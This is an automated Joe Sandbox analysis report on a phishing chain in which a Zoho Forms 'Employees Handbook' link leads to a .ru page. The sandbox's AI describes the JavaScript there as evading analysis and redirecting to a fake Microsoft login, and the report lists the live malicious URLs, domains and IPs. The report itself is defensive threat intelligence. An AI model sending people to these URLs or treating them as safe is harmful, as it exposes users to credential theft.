Edit tour

Windows Analysis Report
https://zfrmz.com/hu0ngo1Ul357L1ChjHxW

Overview

General Information

Sample URL:	https://zfrmz.com/hu0ngo1Ul357L1ChjHxW
Analysis ID:	1596216

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 2388 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 5792 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=1892,i,14782951031728803655,4849873704660599494,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 6584 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://zfrmz.com/hu0ngo1Ul357L1ChjHxW" MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected landing page (webpage, office document or email)

Source: https://forms.zohopublic.com/philhdr1/form/2025EmployeesHandbook/formperma/GrVUygSKNf4o4V5HIfB_T9v6K96eG8oZnr1iSlS9nJM

Joe Sandbox AI: Page contains button: 'ACCESS HANDBOOK' Source: '1.2.pages.csv'

AI detected suspicious Javascript

Source: 0.12.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://dmk.erbirkinarinf.ru/ufPlTO2Y/... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common developer tools and keyboard shortcuts, and redirecting the user to a suspicious login page. These behaviors are highly indicative of malicious intent, such as preventing analysis, obstructing security researchers, and potentially phishing for user credentials.
Source: 0.13.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://dmk.erbirkinarinf.ru/ufPlTO2Y/... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and suspicious domain interactions. It uses the `turnstile.render()` function to render a form, but also sets up event handlers and makes multiple network requests to potentially malicious domains. The script appears to be collecting user data and redirecting users to a Microsoft login page, which is highly suspicious behavior indicative of a phishing or malware attempt.
Source: 0.10.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://dmk.erbirkinarinf.ru/ufPlTO2Y/... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` and `decodeURIComponent()` to execute remote code, along with the attempt to send user data to an untrusted domain, are clear indicators of malicious intent. Additionally, the script attempts to disable common browser security features like the context menu and certain keyboard shortcuts, further suggesting a malicious purpose. Overall, this script demonstrates a high level of risk and should be treated with caution.

Source: https://dmk.erbirkinarinf.ru/ufPlTO2Y/

HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.17:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.17:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.17:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.17:49771 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200

Source: global traffic	DNS traffic detected: DNS query: zfrmz.com
Source: global traffic	DNS traffic detected: DNS query: forms.zohopublic.com
Source: global traffic	DNS traffic detected: DNS query: static.zohocdn.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: dmk.erbirkinarinf.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.17:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.17:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.17:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.17:49771 version: TLS 1.2

Source: classification engine

Classification label: mal48.win@20/27@30/132

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=1892,i,14782951031728803655,4849873704660599494,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://zfrmz.com/hu0ngo1Ul357L1ChjHxW"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=1892,i,14782951031728803655,4849873704660599494,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://zfrmz.com/hu0ngo1Ul357L1ChjHxW	0%	Avira URL Cloud	safe

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.66.137	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
challenges.cloudflare.com	104.18.94.41	true	false	high
h2-stratus.zohocdn.com	89.36.170.147	true	false	high
www.google.com	142.250.184.196	true	false	high
dmk.erbirkinarinf.ru	104.21.48.182	true	true	unknown
zpublic.zohopublic.com	136.143.182.97	true	false	high
zfrmz.com	136.143.183.178	true	false	high
forms.zohopublic.com	unknown	unknown	false	high
static.zohocdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://forms.zohopublic.com/philhdr1/form/2025EmployeesHandbook/formperma/GrVUygSKNf4o4V5HIfB_T9v6K96eG8oZnr1iSlS9nJM	true		unknown
https://dmk.erbirkinarinf.ru/ufPlTO2Y/	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
136.143.182.97	zpublic.zohopublic.com	United States	2639	ZOHO-ASUS	false
142.250.184.196	www.google.com	United States	15169	GOOGLEUS	false
104.17.24.14	unknown	United States	13335	CLOUDFLARENETUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
142.250.186.163	unknown	United States	15169	GOOGLEUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
89.36.170.147	h2-stratus.zohocdn.com	Switzerland	41913	COMPUTERLINEComputerlineSchlierbachSwitzerlandCH	false
151.101.130.137	unknown	United States	54113	FASTLYUS	false
142.250.185.170	unknown	United States	15169	GOOGLEUS	false
142.251.168.84	unknown	United States	15169	GOOGLEUS	false
104.21.48.182	dmk.erbirkinarinf.ru	United States	13335	CLOUDFLARENETUS	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
136.143.183.178	zfrmz.com	United States	2639	ZOHO-ASUS	false
142.250.185.174	unknown	United States	15169	GOOGLEUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.184.227	unknown	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1596216
Start date and time:	2025-01-21 20:43:46 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://zfrmz.com/hu0ngo1Ul357L1ChjHxW
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.win@20/27@30/132

Warnings

Exclude process from analysis (whitelisted): TextInputHost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.163, 142.250.185.174, 142.251.168.84, 216.58.206.78, 216.58.212.142, 142.250.185.170, 216.58.212.170, 142.250.186.106, 216.58.206.42, 142.250.185.106, 172.217.16.138, 172.217.16.202, 142.250.184.234, 142.250.185.74, 142.250.181.234, 216.58.212.138, 142.250.185.138, 172.217.18.10, 142.250.186.170, 172.217.23.106, 172.217.18.106
Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, redirector.gvt1.com, content-autofill.googleapis.com, clientservices.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: https://zfrmz.com/hu0ngo1Ul357L1ChjHxW

LLM Input / Output

Input	Output
URL: https://zfrmz.com Model: Joe Sandbox AI	```json{ "brand": "unknown", "brand_classification": "unknown", "legit_url": "unknown", "similarity": 0, "spoofed": 0, "reasoning": "The URL 'https://zfrmz.com' does not exhibit any clear visual or structural similarities to a known brand. There are no obvious character substitutions or resemblances to well-known brand URLs. The domain name 'zfrmz' does not suggest any connection to a recognized brand, and there is no indication of typosquatting. The domain could be used for a legitimate purpose unrelated to any brand, such as a unique business or service name. Without further context or evidence of brand association, it is unlikely to be a typosquatting attempt."}
URL: https://zfrmz.com
URL: https://forms.zohopublic.com/philhdr1/form/2025Emp... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a localization (i18n) object containing various error messages and validation rules. It does not contain any high-risk indicators like dynamic code execution, data exfiltration, or obfuscated code. The script seems to be focused on providing user-friendly error messages and validating user input, which is a common and legitimate practice. While it uses some outdated APIs like `XDomainRequest`, the overall behavior is benign and does not raise significant security concerns. Therefore, the risk score is assessed as low (3)." }
var i18n = { "noentry":"No entry", "nofields":"No fields are available", "asterisksymbol":"*", "entervalue":"Enter\x20a\x20value\x20for\x20this\x20field.", "entervaluenumber":"Enter\x20a\x20number\x20for\x20this\x20field.", "entervaluecaptcha":"Enter\x20a\x20value\x20for\x20this\x20field.", "entervaluerecaptcha":"Confirm\x20you\x27re\x20not\x20a\x20robot.", "recaptchaerror":"reCAPTCHA\x20validation\x20failed.", "entervalidmail":"Enter\x20a\x20valid\x20email\x20address.\x20\x28eg\x3A\x20yourname\x40domain.com\x29", "entervalidnumber":"Enter\x20a\x20numeric\x20value.\x20", "invaliddecimal":"Enter\x20a\x20valid\x20decimal\x20number.\x20", "invalidcurrency":"Enter\x20a\x20numeric\x20value.\x20\x28currency\x29", "invalidurl":"Enter\x20a\x20valid\x20website.\x20\x28eg\x3A\x20www.domain.com\x29", "invalidphone":"Enter\x20a\x20valid\x20phone\x20number.\x20Allowed\x20special\x20characters\x3A\x20\x2B\x20\x2D\x20.\x20\x28\x20\x29\x20space", "invalidinitialphone":"Enter\x20a\x20phone\x20number\x20that\x20doesnt\x20begin\x20with\x20\x2B\x20or\x20\x29.", "invalidUSAphone":"Enter\x20a\x20valid\x20phone\x20number.", "invalidpatternformat":"Entry\x20does\x20not\x20match\x20the\x20required\x20format.", "invalidletterregexformat":"Only\x20letters\x20are\x20allowed.", "invalidletterandnumregexformat":"Only\x20letters\x20and\x20numbers\x20allowed.", "invalidletternumandspaceregexformat":"Only\x20letters,\x20numbers\x20and\x20spaces\x20are\x20allowed.", "invalidletterandspaceregexformat":"Only\x20letters\x20and\x20spaces\x20are\x20allowed.", "invalidcountrycode":"Enter\x20a\x20valid\x20country\x20code.", "selectchoice":"Select\x20a\x20choice.", "chooseoption":"Choose\x20your\x20option\x28s\x29.", "selectdate":"Choose\x20a\x20date.", "selectcountrycode":"Select\x20a\x20country\x20code.", "selectrating":"Specify\x20your\x20rating\x20here.", "selecttime":"Choose\x20a\x20time.\x20", "checkfield":"Select\x20this\x20option.", "choosefile":"Upload\x20a\x20file\x20here.\x20", "contactadmin":"Please\x20contact\x20your\x20form\x20administrator\x20for\x20further\x20assistance.", "incompletesignature":"Add\x20your\x20signature\x20here.", "matrixchoicemandatory":"Choose\x20at\x20least\x20one\x20answer\x20for\x20each\x20question.", "uploadsize":"File\x20size\x20should\x20be\x20less\x20than\x20\x7B0\x7D.", "chooseval":"Choose\x20a\x20rating\x20on\x20this\x20scale.", "select":"\x2DSelect\x2D", "wrongverificationcode":"That\x20CAPTCHA\x20was\x20incorrect.\x20", "incompleteinputtime":"Enter\x20time\x20in\x20\x28HH\x3AMM\x20AM\x2FPM\x29\x20format.", "incompleteinputtimetwentyfour":"Enter\x20time\x20in\x20\x28HH\x3AMM\x29\x20format.", "fileupload":"There\x20was\x20an\x20error\x20while\x20uploading\x20file.\x20Please\x20try\x20again.", "formclosed":"The\x20form\x20you\x20are\x20trying\x20to\x20access\x20is\x20closed.", "donationhintmsgmin":"Min.\x20amount\x20is\x20", "donationhintmsgmax":"Max.\x20amount\x20is", "donationhintmsgminmax":"Enter\x20a\x20value\x20between\x20\x7B0\x7D\x20and\x20\x7B1\x7D", "pymnterrminamnt":"Minimum amount is {0}", "pymnterrmaxamnt":"Maximum amount is {0}", "paymentdecimallen":"You\x20are\x20only\x20allowed\x20to\x20enter\x20\x7B0\x7D\x20digits.", 